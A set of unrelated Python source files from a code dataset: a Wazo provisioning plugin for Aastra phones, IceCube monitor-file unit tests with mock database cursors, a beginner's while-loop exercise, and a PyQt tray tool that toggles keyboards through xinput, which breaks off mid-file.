'fr_CA': ('lang_fr_ca.txt', 'US', 'French'),\n 'it_IT': ('lang_it.txt', 'Italy', 'Italian'),\n 'nl_NL': ('lang_nl_nl.txt', 'Germany', 'Dutch'),\n }\n _SIP_DTMF_MODE = {\n # : (, )\n 'RTP-in-band': ('0', '0'),\n 'RTP-out-of-band': ('1', '0'),\n 'SIP-INFO': ('1', '1'),\n }\n _SIP_SRTP_MODE = {'disabled': '0', 'preferred': '1', 'required': '2'}\n _SIP_TRANSPORT = {'udp': '1', 'tcp': '2', 'tls': '4'}\n _SYSLOG_LEVEL = {\n 'critical': '1',\n 'error': '3',\n 'warning': '7',\n 'info': '39',\n 'debug': '65535',\n }\n _XX_DICT_DEF = 'en'\n _XX_DICT = {\n 'en': {\n 'voicemail': 'Voicemail',\n 'fwd_unconditional': 'Unconditional forward',\n 'dnd': 'D.N.D',\n 'local_directory': 'Directory',\n 'callers': 'Callers',\n 'services': 'Services',\n 'pickup_call': 'Call pickup',\n 'remote_directory': 'Directory',\n },\n 'fr': {\n 'voicemail': 'Messagerie',\n 'fwd_unconditional': 'Renvoi inconditionnel',\n 'dnd': 'N.P.D',\n 'local_directory': 'Repertoire',\n 'callers': 'Appels',\n 'services': 'Services',\n 'pickup_call': 'Interception',\n 'remote_directory': 'Annuaire',\n },\n }\n _SENSITIVE_FILENAME_REGEX = re.compile(r'^[0-9A-F]{12}\\.cfg$')\n\n def __init__(self, app, plugin_dir, gen_cfg, spec_cfg):\n super().__init__(app, plugin_dir, gen_cfg, spec_cfg)\n # update to use the non-standard tftpboot directory\n self._base_tftpboot_dir = self._tftpboot_dir\n self._tftpboot_dir = os.path.join(self._tftpboot_dir, 'Aastra')\n\n self._tpl_helper = TemplatePluginHelper(plugin_dir)\n\n downloaders = FetchfwPluginHelper.new_downloaders(gen_cfg.get('proxies'))\n fetchfw_helper = FetchfwPluginHelper(plugin_dir, downloaders)\n # update to use the non-standard tftpboot directory\n fetchfw_helper.root_dir = self._tftpboot_dir\n\n self.services = fetchfw_helper.services()\n self.http_service = HTTPNoListingFileService(self._base_tftpboot_dir)\n\n http_dev_info_extractor = BaseAastraHTTPDeviceInfoExtractor()\n\n def _add_out_of_band_dtmf(self, raw_config):\n dtmf_mode = raw_config.get('sip_dtmf_mode')\n if dtmf_mode in self._SIP_DTMF_MODE:\n raw_config['XX_out_of_band_dtmf'] = self._SIP_DTMF_MODE[dtmf_mode][0]\n raw_config['XX_dtmf_method'] = self._SIP_DTMF_MODE[dtmf_mode][1]\n\n def _add_locale(self, raw_config):\n locale = raw_config.get('locale')\n if locale in self._LOCALE:\n raw_config['XX_locale'] = self._LOCALE[locale]\n\n def _add_log_level(self, raw_config):\n syslog_level = raw_config.get('syslog_level')\n raw_config['XX_log_level'] = self._SYSLOG_LEVEL.get(syslog_level, '1')\n\n def _add_transport_proto(self, raw_config):\n sip_transport = raw_config.get('sip_transport')\n if sip_transport in self._SIP_TRANSPORT:\n raw_config['XX_transport_proto'] = self._SIP_TRANSPORT[sip_transport]\n\n def _format_dst_change(self, suffix, dst_change):\n lines = []\n lines.append(f'dst {suffix} month: {dst_change[\"month\"]:d}')\n lines.append(f'dst {suffix} hour: {min(dst_change[\"time\"].as_hours, 23):d}')\n if dst_change['day'].startswith('D'):\n lines.append(f'dst {suffix} day: {dst_change[\"day\"][1:]}')\n else:\n week, weekday = dst_change['day'][1:].split('.')\n if week == '5':\n lines.append(f'dst {suffix} week: -1')\n else:\n lines.append(f'dst {suffix} week: {week}')\n lines.append(f'dst {suffix} day: {weekday}')\n return lines\n\n def _format_tzinfo(self, tzinfo):\n lines = []\n lines.append('time zone name: Custom')\n lines.append(f'time zone minutes: {-(tzinfo[\"utcoffset\"].as_minutes):d}')\n if tzinfo['dst'] is None:\n lines.append('dst config: 0')\n else:\n lines.append('dst config: 3')\n lines.append(f'dst minutes: {min(tzinfo[\"dst\"][\"save\"].as_minutes, 60):d}')\n if tzinfo['dst']['start']['day'].startswith('D'):\n lines.append('dst [start|end] relative date: 0')\n else:\n lines.append('dst [start|end] relative date: 1')\n lines.extend(self._format_dst_change('start', tzinfo['dst']['start']))\n lines.extend(self._format_dst_change('end', tzinfo['dst']['end']))\n return '\\n'.join(lines)\n\n def _add_timezone(self, raw_config):\n if 'timezone' in raw_config:\n try:\n tzinfo = tzinform.get_timezone_info(raw_config['timezone'])\n except tzinform.TimezoneNotFoundError as e:\n logger.info('Unknown timezone: %s', e)\n else:\n raw_config['XX_timezone'] = self._format_tzinfo(tzinfo)\n\n def _add_fkeys(self, raw_config, model):\n model_obj = self._MODELS.get(model)\n if not model_obj:\n logger.info('Unknown model %s; no function key will be configured', model)\n return\n lines = []\n for funckey_no, funckey_dict in sorted(\n iter(raw_config['funckeys'].items()), key=itemgetter(0)\n ):\n keytype = model_obj.get_keytype(int(funckey_no))\n if keytype is None:\n logger.info(\n 'Function key %s is out of range for model %s', funckey_no, model\n )\n continue\n funckey_type = funckey_dict['type']\n if funckey_type == 'speeddial':\n type_ = 'speeddial'\n value = funckey_dict['value']\n elif funckey_type == 'blf':\n if keytype.startswith('softkey') and model.startswith('68'):\n # 6800 series doesn't support the \"blf\" type on softkey\n type_ = 'speeddial'\n else:\n type_ = 'blf'\n value = funckey_dict['value']\n elif funckey_type == 'park':\n type_ = 'park'\n # note that value for park is ignored for firmware 3.x\n value = f'asterisk;{funckey_dict[\"value\"]}'\n else:\n logger.info('Unsupported funckey type: %s', funckey_type)\n continue\n label = funckey_dict.get('label', value)\n line = funckey_dict.get('line', '1')\n lines.append(f'{keytype} type: {type_}')\n lines.append(f'{keytype} value: {value}')\n lines.append(f'{keytype} label: {label}')\n lines.append(f'{keytype} line: {line}')\n raw_config['XX_fkeys'] = '\\n'.join(lines)\n\n def _update_sip_lines(self, raw_config):\n proxy_ip = raw_config.get('sip_proxy_ip')\n proxy_port = raw_config.get('sip_proxy_port', '5060')\n backup_proxy_ip = raw_config.get('sip_backup_proxy_ip', '0.0.0.0')\n backup_proxy_port = raw_config.get('sip_backup_proxy_port', '5060')\n registrar_ip = raw_config.get('sip_registrar_ip')\n registrar_port = raw_config.get('sip_registrar_port', '5060')\n backup_registrar_ip = raw_config.get('sip_backup_registrar_ip', '0.0.0.0')\n backup_registrar_port = raw_config.get('sip_backup_registrar_port', '5060')\n dtmf_mode = raw_config.get('sip_dtmf_mode')\n srtp_mode = raw_config.get('sip_srtp_mode')\n voicemail = raw_config.get('exten_voicemail')\n for line in raw_config['sip_lines'].values():\n line.setdefault('proxy_ip', proxy_ip)\n line.setdefault('proxy_port', proxy_port)\n line.setdefault('backup_proxy_ip', backup_proxy_ip)\n line.setdefault('backup_proxy_port', backup_proxy_port)\n line.setdefault('registrar_ip', registrar_ip)\n line.setdefault('registrar_port', registrar_port)\n line.setdefault('backup_registrar_ip', backup_registrar_ip)\n line.setdefault('backup_registrar_port', backup_registrar_port)\n # add XX_dtmf_method\n cur_dtmf_mode = line.get('dtmf_mode', dtmf_mode)\n if cur_dtmf_mode in self._SIP_DTMF_MODE:\n line['XX_dtmf_method'] = self._SIP_DTMF_MODE[cur_dtmf_mode][1]\n else:\n line['XX_dtmf_method'] = '0'\n # add XX_srtp_mode\n cur_srtp_mode = line.get('srtp_mode', srtp_mode)\n line['XX_srtp_mode'] = self._SIP_SRTP_MODE.get(cur_srtp_mode, '0')\n # add voicemail\n if voicemail:\n line.setdefault('voicemail', voicemail)\n\n def _gen_xx_dict(self, raw_config):\n xx_dict = self._XX_DICT[self._XX_DICT_DEF]\n if 'locale' in raw_config:\n locale = raw_config['locale']\n lang = locale.split('_', 1)[0]\n if lang in self._XX_DICT:\n xx_dict = self._XX_DICT[lang]\n return xx_dict\n\n def _device_cert_or_key_filename(self, device, suffix):\n # Return the cert or key file filename for a device\n formatted_mac = format_mac(device['mac'], separator='', uppercase=True)\n return formatted_mac + suffix\n\n def _write_cert_or_key_file(self, pem_cert, device, suffix):\n filename = self._device_cert_or_key_filename(device, suffix)\n pathname = os.path.join(self._tftpboot_dir, filename)\n with open(pathname, 'w') as f:\n f.write(pem_cert)\n # return the path, from the point of view of the device\n return filename\n\n def _add_trusted_certificates(self, raw_config, device):\n if 'sip_servers_root_and_intermediate_certificates' in raw_config:\n pem_cert = raw_config['sip_servers_root_and_intermediate_certificates']\n raw_config['XX_trusted_certificates'] = self._write_cert_or_key_file(\n pem_cert, device, self._TRUSTED_ROOT_CERTS_SUFFIX\n )\n\n def _add_parking(self, raw_config):\n # hack to set the per line parking config if a park function key is used\n parking = None\n is_parking_set = False\n for funckey_no, funckey_dict in raw_config['funckeys'].items():\n if funckey_dict['type'] == 'park':\n if is_parking_set:\n cur_parking = funckey_dict['value']\n if cur_parking != parking:\n logger.warning(\n 'Ignoring park value %s for function key %s: using %s',\n cur_parking,\n funckey_no,\n parking,\n )\n else:\n parking = funckey_dict['value']\n is_parking_set = True\n self._do_add_parking(raw_config, parking)\n\n def _do_add_parking(self, raw_config, parking):\n raw_config['XX_parking'] = '\\n'.join(\n 'sip line%s park pickup config: %s;%s;asterisk'\n % (line_no, parking, parking)\n for line_no in raw_config['sip_lines']\n )\n\n def _add_xivo_phonebook_url(self, raw_config):\n plugins.add_xivo_phonebook_url(raw_config, 'aastra')\n\n def _dev_specific_filename(self, device: dict[str, str]) -> str:\n # Return the device specific filename (not pathname) of device\n formatted_mac = format_mac(device['mac'], separator='', uppercase=True)\n return f'{formatted_mac}.cfg'\n\n def _check_config(self, raw_config):\n if 'http_port' not in raw_config:\n raise RawConfigError('only support configuration via HTTP')\n\n def _check_device(self, device):\n if 'mac' not in device:\n raise Exception('MAC address needed for device configuration')\n\n def configure(self, device, raw_config):\n self._check_config(raw_config)\n self._check_device(device)\n filename = self._dev_specific_filename(device)\n tpl = self._tpl_helper.get_dev_template(filename, device)\n\n self._add_out_of_band_dtmf(raw_config)\n self._add_fkeys(raw_config, device.get('model'))\n self._add_locale(raw_config)\n self._add_log_level(raw_config)\n self._add_timezone(raw_config)\n self._add_transport_proto(raw_config)\n self._add_trusted_certificates(raw_config, device)\n self._update_sip_lines(raw_config)\n self._add_parking(raw_config)\n self._add_xivo_phonebook_url(raw_config)\n raw_config['XX_dict'] = self._gen_xx_dict(raw_config)\n raw_config['XX_options'] = device.get('options', {})\n raw_config['XX_language_path'] = self._LANGUAGE_PATH\n\n path = os.path.join(self._tftpboot_dir, filename)\n self._tpl_helper.dump(tpl, raw_config, path, self._ENCODING)\n\n def deconfigure(self, device):\n self._remove_configuration_file(device)\n self._remove_certificate_file(device)\n\n def _remove_configuration_file(self, device):\n path = os.path.join(self._tftpboot_dir, self._dev_specific_filename(device))\n try:\n os.remove(path)\n except OSError as e:\n logger.info('error while removing configuration file: %s', e)\n\n def _remove_certificate_file(self, device):\n path = os.path.join(\n self._tftpboot_dir,\n self._device_cert_or_key_filename(device, self._TRUSTED_ROOT_CERTS_SUFFIX),\n )\n try:\n os.remove(path)\n except OSError as e:\n if e.errno != errno.ENOENT:\n logger.info('error while removing certificate file: %s', e)\n\n def synchronize(self, device, raw_config):\n return synchronize.standard_sip_synchronize(device)\n\n def get_remote_state_trigger_filename(self, device):\n if 'mac' not in device:\n return None\n return self._dev_specific_filename(device)\n\n def is_sensitive_filename(self, filename):\n return bool(self._SENSITIVE_FILENAME_REGEX.match(filename))\n","repo_name":"wazo-platform/wazo-provd-plugins","sub_path":"plugins/wazo_aastra/common/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":20497,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"36743072161","text":"#!/usr/bin/env python\n#\n# MonitorFile unit tests\n\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import str\nfrom builtins import range\nfrom builtins import object\nimport unittest\nfrom icecube.domtest.DOMProdTestDB import DOMProdTestDB\nfrom icecube.domtest.MonitorFile import Monitor, MonData, MonitorFile\nfrom MockDB import MockDB, MockConnection, MockCursor\nimport io\n\nclass testMonitor(unittest.TestCase):\n \"\"\"Unit tests for Monitor class\"\"\"\n\n def setUp(self):\n self.conn = MockConnection()\n\n def tearDown(self):\n self.conn.verify()\n\n def fakeData(self, baseId):\n mbSerial = '%06x%06x' % (baseId, baseId + 16)\n maxTemp = baseId + 12.34\n minTemp = baseId + 1.234\n avgTemp = baseId + 6.78\n maxHV = baseId + 234\n minHV = baseId + 123\n avgHV = baseId + 178\n maxPT = baseId + 34.56\n minPT = baseId + 3.456\n avgPT = baseId + 18.76\n maxRate = baseId + 456\n minRate = baseId + 321\n avgRate = baseId + 388.888\n width = baseId + 56.7\n const = baseId + 678.9\n numSpikes = baseId + 7\n r2 = baseId + 8.90\n histo = [0, baseId / 10, baseId, baseId / 2, baseId / 5, 0]\n\n return MonData(mbSerial, maxTemp, minTemp, avgTemp,\n maxHV, minHV, avgHV, maxPT, minPT, avgPT,\n maxRate, minRate, avgRate, width, const, numSpikes, r2,\n histo)\n\n def testBasic(self):\n dptDB = DOMProdTestDB(self.conn)\n\n mon = Monitor(12.34)\n\n mon.setBinSize(11)\n try:\n mon.setBinSize(12)\n fail('Should not be able to set binSize to different size')\n except ValueError:\n pass # expect this to fail\n\n def testInsertNoData(self):\n dptDB = DOMProdTestDB(self.conn)\n\n temp = 12.34\n binSize = 17\n\n mon = Monitor(temp)\n\n mon.setBinSize(binSize)\n\n monId = 123\n fatId = 456\n\n cursor = MockCursor(\"GetMonId\")\n self.conn.addCursor(cursor)\n\n qry = 'select max(fat_mon_id) from FATMonitor'\n cursor.addExpectedExecute(qry, (monId - 1, ))\n\n cursor = MockCursor(\"InsMon\")\n self.conn.addCursor(cursor)\n\n qry = 'insert into FATMonitor(fat_mon_id,fat_id,temp,binsize)' + \\\n 'values(' + str(monId) + ',' + str(fatId) + ',\"' + \\\n str(temp) + '\",' + str(binSize) + ')'\n cursor.addExpectedExecute(qry, None)\n\n mon.insert(dptDB, fatId)\n\n def testInsert(self):\n dptDB = DOMProdTestDB(self.conn)\n\n temp = 12.34\n binSize = 17\n\n mon = Monitor(temp)\n\n mon.setBinSize(binSize)\n\n data = [self.fakeData(111111), self.fakeData(24680),\n self.fakeData(3691224)]\n for d in data:\n mon.append(d)\n\n monId = 123\n fatId = 456\n nextDataId = 789\n\n cursor = MockCursor(\"GetMonId\")\n self.conn.addCursor(cursor)\n\n qry = 'select max(fat_mon_id) from FATMonitor'\n cursor.addExpectedExecute(qry, (monId - 1, ))\n\n cursor = MockCursor(\"InsMon\")\n self.conn.addCursor(cursor)\n\n qry = 'insert into FATMonitor(fat_mon_id,fat_id,temp,binsize)' + \\\n 'values(' + str(monId) + ',' + str(fatId) + ',\"' + \\\n str(temp) + '\",' + str(binSize) + ')'\n cursor.addExpectedExecute(qry, None)\n\n cursor = MockCursor(\"GetDataId\")\n self.conn.addCursor(cursor)\n\n qry = 'select max(fat_mondata_id) from FATMonData'\n cursor.addExpectedExecute(qry, (nextDataId - 1, ))\n\n nextProdId = 333\n \n for i in range(len(data)):\n d = data[i]\n\n cursor = MockCursor(\"GetProdId#\" + str(i))\n self.conn.addCursor(cursor)\n\n qry = 'select d.prod_id from Product mb,AssemblyProduct ap' + \\\n ',Assembly a,Product d' + \\\n ' where mb.hardware_serial=\"' + d.mbId + \\\n '\" and mb.prod_id=ap.prod_id' + \\\n ' and ap.assem_id=a.assem_id and a.prod_id=d.prod_id'\n cursor.addExpectedExecute(qry, (nextProdId, ))\n\n cursor = MockCursor(\"InsMonData#\" + str(i))\n self.conn.addCursor(cursor)\n\n qry = ('insert into FATMonData(fat_mondata_id,fat_mon_id' +\n ',prod_id,temp_max,temp_min,temp_avg' +\n ',hv_max,hv_min,hv_avg,pt_max,pt_min,pt_avg' +\n ',rate_max,rate_min,rate_avg' +\n ',width,constant,num_spikes,r2)' +\n 'values(%d,%d' +\n ',%d,%f,%f,%f' +\n ',%d,%d,%d,%f,%f,%f' +\n ',%d,%d,%f' +\n ',%f,%f,%d,%f)') % \\\n (nextDataId, monId, nextProdId,\n d.maxTemp, d.minTemp, d.avgTemp,\n d.maxHV, d.minHV, d.avgHV,\n d.maxPT, d.minPT, d.avgPT,\n d.maxRate, d.minRate, d.avgRate,\n d.width, d.const, d.numSpikes, d.r2)\n cursor.addExpectedExecute(qry)\n\n for bin in range(len(d.histo)):\n qry = 'insert into FATMonHisto(fat_mondata_id,bin,value)' + \\\n 'values(%d,%d,%d)' % (nextDataId, bin, d.histo[bin])\n cursor.addExpectedExecute(qry)\n\n nextDataId = nextDataId + 1\n nextProdId = nextProdId + 1\n\n mon.insert(dptDB, fatId)\n\nclass testMonData(unittest.TestCase):\n \"\"\"Unit tests for MonData class\"\"\"\n\n def setUp(self):\n self.conn = MockConnection()\n\n def tearDown(self):\n self.conn.verify()\n\n def testInit(self):\n dptDB = DOMProdTestDB(self.conn)\n\n mbSerial = '123fed456cba'\n maxTemp = 12.34\n minTemp = 1.234\n avgTemp = 6.78\n maxHV = 234\n minHV = 123\n avgHV = 178\n maxPT = 34.56\n minPT = 3.456\n avgPT = 18.76\n maxRate = 456\n minRate = 321\n avgRate = 388.888\n width = 56.7\n const = 678.9\n numSpikes = 7\n r2 = 8.90\n histo = [0, 0, 1, 5, 10, 7, 4, 1, 1, 1, 0, 0]\n\n mon = MonData(mbSerial, maxTemp, minTemp, avgTemp,\n maxHV, minHV, avgHV, maxPT, minPT, avgPT,\n maxRate, minRate, avgRate, width, const, numSpikes, r2,\n histo)\n\n prodId = 777\n monId = 666\n dataId = 600\n\n cursor = MockCursor(\"GetProdId\")\n self.conn.addCursor(cursor)\n\n qry = 'select d.prod_id from Product mb,AssemblyProduct ap' + \\\n ',Assembly a,Product d' + \\\n ' where mb.hardware_serial=\"' + mbSerial + \\\n '\" and mb.prod_id=ap.prod_id' + \\\n ' and ap.assem_id=a.assem_id and a.prod_id=d.prod_id'\n cursor.addExpectedExecute(qry, (prodId, ))\n\n cursor = MockCursor(\"InsMonData\")\n self.conn.addCursor(cursor)\n\n qry = ('insert into FATMonData(fat_mondata_id,fat_mon_id' +\n ',prod_id,temp_max,temp_min,temp_avg' +\n ',hv_max,hv_min,hv_avg,pt_max,pt_min,pt_avg' +\n ',rate_max,rate_min,rate_avg' +\n ',width,constant,num_spikes,r2)' +\n 'values(%d,%d' +\n ',%d,%f,%f,%f' +\n ',%d,%d,%d,%f,%f,%f' +\n ',%d,%d,%f' +\n ',%f,%f,%d,%f)') % \\\n (dataId, monId, prodId, maxTemp, minTemp, avgTemp,\n maxHV, minHV, avgHV, maxPT, minPT, avgPT,\n maxRate, minRate, avgRate, width, const, numSpikes, r2)\n cursor.addExpectedExecute(qry)\n\n for bin in range(len(histo)):\n qry = 'insert into FATMonHisto(fat_mondata_id,bin,value)' + \\\n 'values(%d,%d,%d)' % (dataId, bin, histo[bin])\n cursor.addExpectedExecute(qry)\n\n mon.insert(dptDB, monId, dataId)\n\nclass FakeData(object):\n def __init__(self, baseId):\n self.mbSerial = '%06x%06x' % (baseId, baseId + 16)\n self.maxTemp = baseId + 12.34\n self.minTemp = baseId + 1.234\n self.avgTemp = baseId + 6.78\n self.maxHV = baseId + 234\n self.minHV = baseId + 123\n self.avgHV = baseId + 178\n self.maxPT = baseId + 34.56\n self.minPT = baseId + 3.456\n self.avgPT = baseId + 18.76\n self.maxRate = baseId + 456\n self.minRate = baseId + 321\n self.avgRate = baseId + 388.888\n self.width = baseId + 56.7\n self.const = baseId + 678.9\n self.numSpikes = baseId + 7\n self.r2 = baseId + 8.90\n self.histo = [0, baseId / 10, baseId, baseId / 2, baseId / 5, 0]\n\nclass testMonitorFile(unittest.TestCase):\n \"\"\"Unit tests for MonitorFile class\"\"\"\n\n def buildMonStr(self, binSize, baseIdList):\n monStr = None\n for i in baseIdList:\n line = self.fakeLine(binSize, i)\n if monStr is None:\n monStr = line\n else:\n monStr = monStr + line\n\n return monStr\n\n def checkFakeData(self, md, baseId):\n f = FakeData(baseId)\n\n self.assertEqual(md.mbId, f.mbSerial, 'Bad mainboard serial')\n self.assertEqual(md.maxTemp, f.maxTemp, 'Bad max temperature')\n self.assertEqual(md.minTemp, f.minTemp, 'Bad min temperature')\n self.assertEqual(md.avgTemp, f.avgTemp, 'Bad avg temperature')\n self.assertEqual(md.maxHV, f.maxHV, 'Bad max high voltage')\n self.assertEqual(md.minHV, f.minHV, 'Bad min high voltage')\n self.assertEqual(md.avgHV, f.avgHV, 'Bad avg high voltage')\n self.assertEqual(md.maxPT, f.maxPT, 'Bad max P/T')\n self.assertEqual(md.minPT, f.minPT, 'Bad min P/T')\n self.assertEqual(md.avgPT, f.avgPT, 'Bad avg P/T')\n self.assertEqual(md.maxRate, f.maxRate, 'Bad max rate')\n self.assertEqual(md.minRate, f.minRate, 'Bad min rate')\n self.assertEqual(md.avgRate, f.avgRate, 'Bad avg rate')\n self.assertEqual(md.width, f.width, 'Bad width')\n self.assertEqual(md.const, f.const, 'Bad const')\n self.assertEqual(md.numSpikes, f.numSpikes, 'Bad num spikes')\n self.assertEqual(md.r2, f.r2, 'Bad R squared')\n\n for i in range(len(md.histo)):\n self.assertEquals(md.histo[i], f.histo[i],\n 'Bad histogram value#' + str(i))\n\n def fakeLine(self, binSize, baseId):\n f = FakeData(baseId)\n\n histoStr = None\n for h in f.histo:\n if histoStr is None:\n histoStr = str(h)\n else:\n histoStr = histoStr + ' ' + str(h)\n\n fmtStr = '%s %f %f %f %d %d %d %f %f %f %d %d %f %f %f %d %f %d' + \\\n ' : %s\\n'\n return fmtStr % (f.mbSerial, f.maxTemp, f.minTemp, f.avgTemp,\n f.maxHV, f.minHV, f.avgHV, f.maxPT, f.minPT, f.avgPT,\n f.maxRate, f.minRate, f.avgRate, f.width, f.const,\n f.numSpikes, f.r2, binSize, histoStr)\n\n def testDeleteOldRows(self):\n conn = MockConnection()\n\n dptDB = DOMProdTestDB(conn)\n\n fatId = 123\n monId = 456\n monDataId = 789\n\n cursor = MockCursor('delete')\n conn.addCursor(cursor)\n\n qry = 'select fat_mon_id from FATMonitor where fat_id=' + str(fatId)\n cursor.addExpectedExecute(qry, monId)\n\n qry = 'select fat_mondata_id from FATMonData where fat_mon_id=' + \\\n str(monId)\n cursor.addExpectedExecute(qry, monDataId)\n\n qry = 'delete from FATMonHisto where fat_mondata_id=' + str(monDataId)\n cursor.addExpectedExecute(qry)\n\n qry = 'delete from FATMonData where fat_mon_id=' + str(monId)\n cursor.addExpectedExecute(qry)\n\n qry = 'delete from FATMonitor where fat_id=' + str(fatId)\n cursor.addExpectedExecute(qry)\n\n MonitorFile.deleteOldRows(dptDB, fatId)\n\n conn.verify()\n\n def testReadEmpty(self):\n strIO = io.StringIO('')\n results = MonitorFile.read(strIO, -12.3)\n self.failUnless(isinstance(results, Monitor),\n 'Expected MonitorFile.read() to return' +\n ' a Monitor object')\n self.assertEqual(results.binSize, 0,\n 'Expected Monitor binSize to be zero')\n self.assertEqual(len(results.dataList), 0,\n 'Expected Monitor dataList to be empty')\n\n def testReadOneResult(self):\n binSize = 137\n baseId = 123456\n temp = -2.46\n\n lcStr = self.buildMonStr(binSize, [baseId])\n strIO = io.StringIO(lcStr)\n results = MonitorFile.read(strIO, temp)\n self.failUnless(isinstance(results, Monitor),\n 'Expected MonitorFile.read() to return' +\n ' a Monitor object')\n self.assertEqual(results.binSize, binSize,\n 'Expected Monitor binSize to be ' + str(binSize))\n self.assertEqual(len(results.dataList), 1,\n 'Expected 1 MonData entry, not ' +\n str(len(results.dataList)))\n\n self.checkFakeData(results.dataList[0], baseId)\n\n def testReadTwoResults(self):\n binSize = 137\n idList = [12345, 67890]\n temp = -2.46\n\n lcStr = self.buildMonStr(binSize, idList)\n strIO = io.StringIO(lcStr)\n results = MonitorFile.read(strIO, temp)\n self.failUnless(isinstance(results, Monitor),\n 'Expected MonitorFile.read() to return' +\n ' a Monitor object')\n self.assertEqual(results.binSize, binSize,\n 'Expected Monitor binSize to be ' + str(binSize))\n self.assertEqual(len(results.dataList), len(idList),\n 'Expected ' + str(len(idList)) +\n ' MonData entries, not ' + str(len(results.dataList)))\n\n self.checkFakeData(results.dataList[0], idList[0])\n self.checkFakeData(results.dataList[1], idList[1])\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(unittest.makeSuite(testMonitor))\n suite.addTest(unittest.makeSuite(testMonData))\n suite.addTest(unittest.makeSuite(testMonitorFile))\n return suite\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"dglo/PyDOM","sub_path":"icecube/domtest/test/MonitorFileTest.py","file_name":"MonitorFileTest.py","file_ext":"py","file_size_in_byte":14354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15452184837","text":"##1\r\ninitilaCapital = 20000\r\nstaticFirstCapital = initilaCapital\r\npercent = 0.03\r\nmaxTimeYears = 10\r\ni = 1\r\nwhile(maxTimeYears >=1):\r\n maxTimeYears -=1\r\n initilaCapital += initilaCapital *percent \r\n print('Po',i,'roku na koncie jest:',initilaCapital)\r\n i+=1\r\nelse:\r\n print('Po',maxTimeYears,'na koncie jest',initilaCapital,'co oznacza ze zarobiono:',initilaCapital-staticFirstCapital)\r\n\r\n\r\ninitialCapital = 20000\r\npercent = 0.03\r\nmaxTimeYears = 10\r\nyear=0\r\ncapital=initialCapital\r\nwhile year0):\r\n\r\n suma += temp%10\r\n\r\n temp = temp//10\r\n\r\n \r\nprint(suma)\r\n\r\nprint()\r\n##3\r\nprint()\r\ntext ='''\r\nUnited Space Alliance: This company provides major support to NASA for\r\nvarious projects, such as the space shuttle. One of its projects is to\r\ncreate Workflow Automation System (WAS), an application designed to\r\nmanage NASA and other third-party projects. The setup uses a central\r\nOracle database as a repository for information. Python was chosen over\r\nlanguages such as Java and C++ because it provides dynamic typing and\r\npseudo-code–like syntax and it has an interpreter. The result is that\r\nthe application is developed faster, and unit testing each piece is easier.\r\n'''\r\ntextList = text.replace('\\n',' ').replace('.',' ').replace(',',' ').replace('(',' ').split(' ')\r\nshortWords = 0\r\nlongWords = 0\r\nwordLength = 6\r\n\r\nwhile(len(textList)>0): \r\n if(len(textList[0])>wordLength):\r\n textList.pop(0)\r\n longWords +=1\r\n elif(len(textList[0])<=wordLength):\r\n textList.pop(0)\r\n shortWords +=1\r\n \r\nprint('Słow dluzszych od:',wordLength,'liczb jest:',longWords,'a krotszych jest:',shortWords)\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\ntext = '''\r\nUnited Space Alliance: This company provides major support to NASA for\r\nvarious projects, such as the space shuttle. One of its projects is to\r\ncreate Workflow Automation System (WAS), an application designed to\r\nmanage NASA and other third-party projects. The setup uses a central\r\nOracle database as a repository for information. Python was chosen over\r\nlanguages such as Java and C++ because it provides dynamic typing and\r\npseudo-code–like syntax and it has an interpreter. The result is that\r\nthe application is developed faster, and unit testing each piece is easier.\r\n'''\r\nlistOfWords = text.replace('\\n',' ').split(' ')\r\nwordLength = 6\r\ni=0\r\nshortWords = 0\r\nlongWords = 0\r\nwhile i< len(listOfWords):\r\n if len(listOfWords[i])>wordLength:\r\n longWords+=1\r\n else:\r\n shortWords+=1\r\n \r\n i+=1\r\nprint(\"Words shorter than \",wordLength,\":\",shortWords)\r\nprint(\"Words longer than \",wordLength,\":\",longWords)\r\n\r\n\r\n\r\n\r\n","repo_name":"MarkPio8/Python-for-beginners","sub_path":"105. Addendum WHILE.py","file_name":"105. Addendum WHILE.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38063996498","text":"#! /usr/bin/python3\n# FileName : diskeyb.py\n# Author : luzhlon\n# Function : 通过xinput命令禁用或启用某些输入设备\n# LastChange : 2017/2/17\n\nimport sys,os,re,json\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import QIcon\n\n# 键盘设备列表\ndef keyb_list():\n out = os.popen(\"xinput list\")\n str = out.read()\n out.close()\n list = re.findall('↳ (.+?)\\s+id=(\\d+).+?slave\\s+keyboard', str)\n return list\n# 根据设备名获取设备id\ndef get_device_id(device):\n list = keyb_list()\n for tup in list:\n if device == tup[0]:\n return tup[1]\ndef enable_device(id):\n os.system('xinput enable ' + id)\ndef disable_device(id):\n os.system('xinput disable ' + id)\n# 向一个GUI对象中添加多个Widget\ndef addWidgets(obj, *args):\n for i in args:\n obj.addWidget(i)\n# 向一个GUI对象中添加多个Layout\ndef addLayouts(obj, *args):\n for i in args:\n obj.addLayout(i)\n# 配置文件路径\ndef config_path():\n # return os.getenv('HOME') + '/.config/diskeyb.json'\n return 'config.json'\n \nclass myDlg(QDialog):\n def __init__(self, parent=None):\n super().__init__(parent)\n self.init_layout()\n self.init_tray()\n self.resize(450, 300)\n self.setMinimumSize(450, 300)\n self.load_conf()\n # 加载配置\n def load_conf(self):\n try:\n path = config_path()\n f = open(path)\n self.config = json.loads(f.read())\n self.reset_tray()\n except FileNotFoundError:\n self.show()\n self.tray.showMessage('提示', '请选择无线键盘设备')\n return\n # 重设托盘菜单\n def reset_tray(self):\n try:\n device = self.config['device']\n self.enable.setText('Enable '+device)\n self.disable.setText('Disable '+device)\n self.enable.setEnabled(True)\n self.disable.setEnabled(True)\n except Exception:\n self.enable.setEnabled(False)\n self.disable.setEnabled(False)\n # 保存设置\n def save_conf(self):\n str = json.dumps(self.config)\n f = open(config_path(), 'w')\n f.write(str)\n f.close()\n def onOk(self):\n table = self.table\n row = table.currentRow()\n config = { 'device': self.curlist[row][0] }\n self.config = config\n self.save_conf()\n self.reset_tray()\n self.tray.showMessage('提示', '设置保存成功')\n self.hide()\n # 初始化窗口布局\n def init_layout(self):\n okbtn = QPushButton(\"Save\")\n 